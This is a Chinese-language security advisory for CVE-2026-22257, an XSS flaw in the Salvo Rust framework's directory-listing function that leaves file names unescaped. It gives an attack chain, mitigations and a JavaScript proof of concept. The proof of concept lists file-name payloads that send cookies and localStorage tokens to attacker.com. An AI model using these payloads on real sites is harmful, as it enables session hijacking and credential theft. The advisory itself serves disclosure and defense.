IPBUF安全漏洞报告
English
CVE-2026-22257 CVSS 8.8 高危

CVE-2026-22257: Salvo框架list_html函数跨站脚本(XSS)漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-22257
漏洞类型
跨站脚本(XSS)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Salvo Rust Web Framework

相关标签

跨站脚本XSSSalvoRustWeb框架目录遍历输入验证文件上传漏洞CVE-2026-22257高危漏洞

漏洞概述

CVE-2026-22257是Salvo Rust Web框架中的一个高危跨站脚本(XSS)漏洞。Salvo是一个用Rust语言编写的高性能Web后端框架,广泛应用于构建现代Web应用程序和API服务。该漏洞存在于list_html函数中,该函数负责生成目录文件列表视图。在0.88.1版本之前,该函数在生成HTML文件视图时,未对文件或文件夹名称进行充分的输入清理和输出编码。当网站允许通过此功能访问公共文件,并且攻击者能够上传文件时,恶意构造的文件名可以被注入到页面中执行,从而实现跨站脚本攻击。攻击者可以利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意内容。由于该漏洞的CVSS评分为8.8,属于高危级别,对系统机密性、完整性和可用性都造成较大影响。建议受影响的用户尽快升级到0.88.1或更高版本以修复此安全漏洞。

技术细节

该漏洞的根本原因在于Salvo框架的list_html函数(在crates/serve-static/src/dir.rs第581行附近)在处理目录文件列表时,直接将文件名输出到HTML页面而未进行适当的转义或过滤。具体来说,当用户请求一个目录路径时,list_html函数会遍历目录中的所有文件和子文件夹,并将其名称嵌入到生成的HTML响应中。攻击者可以通过上传包含恶意JavaScript代码的文件名(如<img src=x onerror=alert(document.cookie)>test.txt)来触发XSS漏洞。当其他用户通过Web浏览器访问该目录列表时,浏览器会解析HTML并执行注入的恶意脚本代码。由于该功能通常用于文件浏览和共享场景,攻击面较大。此外,该漏洞的利用不需要任何认证(PR:N),攻击者只需要能够上传文件或创建特定名称的文件夹即可实施攻击。用户交互要求为需要点击或访问相关页面(UI:R),这在文件共享场景中是很常见的操作。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站是否使用Salvo框架,并确认目录列表功能是否启用。通过访问常见目录路径或检查页面源码来确认漏洞存在性。
STEP 2
准备阶段
攻击者准备包含XSS payload的恶意文件名,如使用<img src=x onerror=alert(1)>或<script>标签等常见XSS向量构造文件名。
STEP 3
上传阶段
如果应用允许用户上传文件,攻击者将包含恶意文件名的文件上传到服务器。或者如果攻击者能够创建目录,也可以使用恶意名称创建文件夹。
STEP 4
触发阶段
攻击者引诱目标用户访问包含恶意文件名的目录列表页面。当受害者的浏览器解析HTML响应时,会执行注入的恶意脚本代码。
STEP 5
利用阶段
成功执行XSS后,攻击者可以窃取用户会话Cookie、劫持用户账户、获取敏感信息或进行进一步的攻击,如蠕虫传播或钓鱼攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22257 PoC - XSS via malicious filename in Salvo framework // This PoC demonstrates how an attacker can inject XSS via file/folder names // Step 1: Create a file with malicious filename containing XSS payload const maliciousFilename = '<img src=x onerror=alert("XSS by CVE-2026-22257")>.txt'; // Step 2: Upload the file to a Salvo server with dir listing enabled // The file will be accessible via the list_html function // Step 3: When victim visits the directory listing page, the XSS will execute // Example HTTP request to trigger the vulnerability: // GET /public-files/ HTTP/1.1 // Host: target.com // The server response will contain: // <a href='<img src=x onerror=alert("XSS by CVE-2026-22257")>.txt'>{maliciousFilename}</a> // Alternative payloads: const payloads = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>.txt', '<img src=x onerror=document.location="https://attacker.com/log?d="+document.domain>.txt', '<svg/onload=fetch("http://attacker.com/?t="+localStorage.getItem("token"))>.txt' ]; console.log('CVE-2026-22257 XSS PoC'); console.log('Payload:', maliciousFilename);

影响范围

Salvo < 0.88.1

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1) 禁用目录列表功能,改为返回403 Forbidden或404 Not Found;2) 在Web服务器层面添加WAF规则,过滤恶意的文件名请求;3) 对所有用户上传的文件自动重命名为随机字符串,移除原始文件名;4) 实施严格的访问控制,限制谁可以访问文件列表功能;5) 使用严格的Content-Type头和X-Content-Type-Options: nosniff响应头。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表